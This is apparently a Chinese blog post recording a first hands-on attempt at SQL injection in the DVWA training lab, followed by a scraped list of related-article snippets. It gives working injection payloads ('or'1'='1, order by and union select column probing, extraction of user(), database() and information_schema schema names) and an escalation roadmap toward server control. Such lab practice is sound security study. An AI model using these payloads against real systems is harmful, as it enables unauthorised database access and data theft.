首先登录DVWA主页:

1、修改安全级别为LOW级(第一次玩别打脸),如图中DVWA Security页面中。

2、进入SQL Injection页面,出错了。(心里想着这DVWA是官网下的不至于玩不了吧。。)

网页错误提示:

赶紧打开index.php文件,这提示报错65行看看PHP代码!(内心是不愿意的,我是学java的)

$num = mysqli_fetch_row( $result )[0];

---->猜测放回类型不是数组,就将[0]去掉试了一下就可以了=。=(留给PHP的朋友去看具体吧,在下先用着)

3、一次奇葩的经历后开始尝试第一次的SQL注入。

根据上面的提示,输入用户的id,它将返回了关于这个user的信息。这里先输入了“1”试试。

成功返回数据,发现浏览器的地址栏的url成了:

http://192.168.204.132/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#

换个输入值2又变成:

http://192.168.204.132/DVWA/vulnerabilities/sqli/?id=2&Submit=Submit#

输入单引号‘尝试,发现页面报错:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

由于用户输入的值为ID,因此我们习惯判断这里的注入类型为数字型,因此尝试输入:1 or 1=1 ,看能否查询:

并且地址栏为http://192.168.204.132/DVWA/vulnerabilities/sqli/?id=1+or+1%3D1&Submit=Submit#

所以猜测后台程序将此值当做字符型,于是输入:1'or'1'='1,结果成功返回多行数据:(好激动的说)

从OWASP测试指南上(http://www.owasp.org.cn/owasp-project/download/OWASP_testing_guide)看还有

Union查询SQL注入、盲SQl注入、SUBSTRING(text,start,length)、预程序注入。

接下来分析字段数:有两种方法

方法一:用order bynum语句。
分析字段数的原因是我们之后需要用union select语句来获得我们需要的敏感数据。根据order by知识知道,

要是后面跟着的数字超出了字段数时,就会报错!通过这个我们可以确定字段数。

,所以字段数为2

方法二:直接用union select来猜测字段数。
因为当字段数不对应的时候,它也是会发生报错的!
1' union select 1#-------出错The used SELECT statements have a different number of columns
1' union select 1,2#-------正常,所以字段数为2

使用Union all结合利用user(),及database(),version()等三个内置函数。得到连接数据库账户信息、数据库名称、数据库版本信息。

1' and 1=2 union select user(),database()#------成功得到数据库信息!!!

使用Union all结合利用mysql默认的数据库infromation_scehma,该数据库存储了Mysql所有数据库和表的信息。

1' and 1=2 union select 1,schema_name from information_schema.schemata#---------(可怕~)

总结一下今天SQL注入的第一次体验:大致思路如下

1、寻找注入点,应该可以通过web扫描工具实现。

2、通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。

3、猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息)

4、可以通过获得的用户信息,寻找后台登录入口。

5、利用后台了解进一步信息,提权,直到拿到服务器权限。

非常感谢原博主的分享,受益颇深:http://blog.csdn.net/qq_20745827/article/details/68944753

SQL注入(dvwa环境)的更多相关文章

  1. 搭建sql注入实验环境(基于windows)

    搭建服务器环境 1.下载xampp包 地址:http://www.apachefriends.org/zh_cn/xampp.html 很多人觉得安装服务器是件不容易的事,特别是要想添加MySql, ...

  2. 2019-9-9:渗透测试,docker下载dvwa,使用报错型sql注入dvwa

    docker下载dvwa镜像,报错型注入dvwa,low级 一,安装并配置docker 1,更新源,apt-get update && apt-get upgrade &&am ...

  3. PHP代码审计】 那些年我们一起挖掘SQL注入 - 1.什么都没过滤的入门情况

    0x01 背景 首先恭喜Seay法师的力作<代码审计:企业级web代码安全架构>,读了两天后深有感触.想了想自己也做审计有2年了,决定写个PHP代码审计实例教程的系列,希望能够帮助到新人更 ...

  4. 【转载】sql注入之入门

    原文在:https://smelond.com MySql基础语法 mysql无非就是增删改查 mysql数据库结构: 数据库 test,test1 表名 admin,manage 数据 id,use ...

  5. 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 1.什么都没过滤的入门情况

    0x01 背景 首先恭喜Seay法师的力作<代码审计:企业级web代码安全架构>,读了两天后深有感触.想了想自己也做审计有2年了,决定写个PHP代码审计实例教程的系列,希望能够帮助到新人更 ...

  6. 基于dvwa环境下级别为low的SQL手工注入教程

    基于dvwa环境下级别为low的SQL手工注入教程: 首先是进入已搭建好的dvwa环境中去(一定要搭建好dvwa环境才能进行下面的操作),这可能会是一些初学者所面临的的第一个问题,比如我,曾为了寻找这 ...

  7. 通过BurpSuite和sqlmap配合对dvwa进行sql注入测试和用户名密码暴力破解

    0x1 工具和环境介绍 dvwa:渗透测试环境 BurpSuite:强大的WEB安全测试工具 sqlmap:强大的sql注入工具 以上工具和环境都在kali linux上安装和配置. 0x2 步骤说明 ...

  8. DVWA学习之SQL注入

    DVWA学习之SQL注入 环境工具 dvwa 1.9 phpstudy firefox burpsuite 实验步骤 一.设置安全级别为LOW 1. 登录DVWA,并将安全级别设置为LOW 2. 进入 ...

  9. DVWA漏洞演练平台 - SQL注入

    SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,具体来说,它是利用现有应用程序将(恶意的)SQL命令注入到后台数据库引擎执 ...

随机推荐

  1. Linux命令实例功能笔记

    ls命令 ls对文件mtime时间进行排序 降序: ls -lt |  grep '^-'    升序:   ls -ltr  |  grep '^-' seq命令 求1000以内所有偶数的和 ech ...

  2. oracle sql 游标的简单用法(tip:sql中两个单引号表示一个单引号)

    --游标遍历某个字段 (打印出来) declare            res_sql varchar2(2000); cursor cur is            select f_dcnam ...

  3. PHP类名获取的几种方式及单例模式实现

    参考:https://www.cnblogs.com/water0729/p/5803217.html <?php class foo { static public function test ...

  4. vue作用域 this

    设计到异步 function 回调的.this指向 需要用内部代替this 如果是箭头符号写法 就不需要 this永远是当前vue实例

  5. 《Java程序设计》第一周学习记录(1)

    目录 Windows安装JDK.Git Linux下安装JDK.Git.IDEA 参考资料 Windows安装JDK.Git 到官网直接下载JDK,双击安装程序就正常安装就行了. 下载完以后,可以看到 ...

  6. visual studio Lua 调试

    BabeLua是一款基于VS (简称VS)的免费开源的Lua集成开发环境,在Lua编辑和调试方面,具有如下功能和特性: ●Lua语法高亮 ●语法检查 ●自动补全 ●一键注释 ●格式化代码 ●自定义代码 ...

  7. 带下拉列表的TextBox

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/ ...

  8. iOS 崩溃分析

    崩溃统计分析,在APP中是非常常见一种优化APP,发现APP的BUG的方式. 1.异常处理 可通过try catch 方式处理,如果发生异常,会走catch ,最终走fianlly.对一些我们不想他崩 ...

  9. JAVA编程思想学习笔记3-chap7-9-斗之气3段

    1.子类构造器会自动调用基类的默认构造器,如果为有参数构造器,则需要手动调用 ①this(args):调用本类中的其它构造器(只能调用一次) ②super(args):调用基类带参数的构造器 2.组合 ...

  10. export,import ,export default 彻底弄痛

    ES6模块主要有两个功能:export和import 说白了就是一个淡出一个导入,就相当于以前的公共js样,哪个页面要用,就script 引入这个js  ,然后  无耻的调用这个js中的方法了. ex ...